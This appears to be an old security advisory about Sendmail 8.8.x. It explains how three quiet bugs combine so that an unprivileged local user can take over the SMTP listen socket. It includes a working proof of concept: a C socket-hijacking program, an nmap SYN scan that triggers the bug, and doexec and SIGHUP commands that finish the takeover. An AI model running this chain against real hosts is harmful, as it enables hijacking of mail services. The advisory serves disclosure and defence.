COMMAND

    Sendmail

SYSTEMS AFFECTED

    Sendmail 8.8.x

PROBLEM

    Michal Zalewski posted following.  Many administrators still  uses
    Sendmail  8.8.x  (usually  8.8.8)  as  more  'stable  and  secure'
    release, believing there are no major bugs in it.   Unfortunately,
    there are some bugs fixed silently till 8.9.3 release - and,  just
    like in other  cases, never mentioned  in CHANGES nor  in security
    advisories.  Major bug is conjunction of three improper things  in
    Sendmail 8.8.x:

    - Sendmail 8.8.8  (fixed in 8.9.3,  no info about  other releases)
      won't  allow  '-bd'  parameter  (run  as  daemon) if launched by
      luser.  But '-bD' parameter  (run as daemon, but in  foreground)
      works  perfectly.   This  has  been  fixed  without  any info in
      development history file.

    - Sendmail 8.8.8 (fixed in 8.9.1, mentioned in history, as exploit
      has been published on BUGTRAQ) has minor problem on Linux 2.0.xx
      platforms - if accept() fails, it will close listen sockets, log
      error  and  sleep  for  5  seconds.  Easiest  way  to cause this
      behaviour:

        attacker# nmap -sS -P0 -p 25 destination_host

      As it has no serious implications for site security, probably a
      lot of people didn't even thought about upgrading Sendmail due
      to this bug.

    - there's  unpublished,  and  theoretically  harmless  bug -  when
      Sendmail  daemon  receives  HUP,  it does execve(argv[0],...) to
      restart  itself.   Unfortunately,  4th  file  descriptor (listen
      socket) isn't closed before execve.

    What can we do with these bugs together? Look:

        victim$ cd /tmp
        victim$ cat >test.c <<EOF

        #include <netinet/in.h>
        #include <fcntl.h>

        #define SERV_FD 4

        main() {
          struct sockaddr_in saddr;
          int csock,i=sizeof(saddr);
          while (1) {
            while ((csock=accept(SERV_FD,&saddr,&i))<0);
            if (!fork()) {
              dup2(csock,0);
              dup2(csock,1);
              dup2(csock,2);
              printf("220 Takeover ESMTP mail service - road closed.\n");
              fflush(0);
              sleep(1);
              shutdown(csock,2);
              close(csock);
              exit(0);
            }
          }
        }
        EOF

        victim$ gcc test.c -o test

    Now, we have only 5sec interval to execute two following commands,
    so be hurry (probably you'll have to prepare and test it... or  to
    write some kind of script...

        attacker# nmap -p 25 -sS -P0 -n victim

    Zoink! With lightspeed,  we should enter  the following on  victim
    machine:

        victim$ doexec /usr/sbin/sendmail /tmp/test -bD

    Note: doexec is handful utility  shipped with RH to set  arbitrary
    argv[0] of programs.  Source for this  proggy seems to  be similar
    to:

        main(int argc, char* argv[]) { return execvp(argv[0],&argv[1]); }

    If you'll see 'Address already in use', you're probably too  slow.
    Let's switch to another tty and  see what have we here (should  be
    our foreground daemon, while old, background daemon won't be  able
    to bind() to port 25 anymore):

        victim$ nc 127.0.0.1 25
        220 Marchew ESMTP Mail Service at nimue.ids.pl ready.
        quit
        221 nimue.ids.pl closing connection

    Hmm, what about sending SIGHUP to our foreground daemon... It will
    execute /tmp/test instead of itself.  Nothing dangerous, as  extra
    privledges are dropped... But  we'll inherit descriptor to  listen
    socket!

        victim$ killall -HUP sendmail

    What happened? Hmmm....

        victim$ nc 127.0.0.1 25
        220 Takeover ESMTP mail service - road closed.
        victim$

SOLUTION

    As noted, in 8.9.3 this bug is theoretically harmless.  It will be
    fixed in 8.10.0.Beta7 and future versions.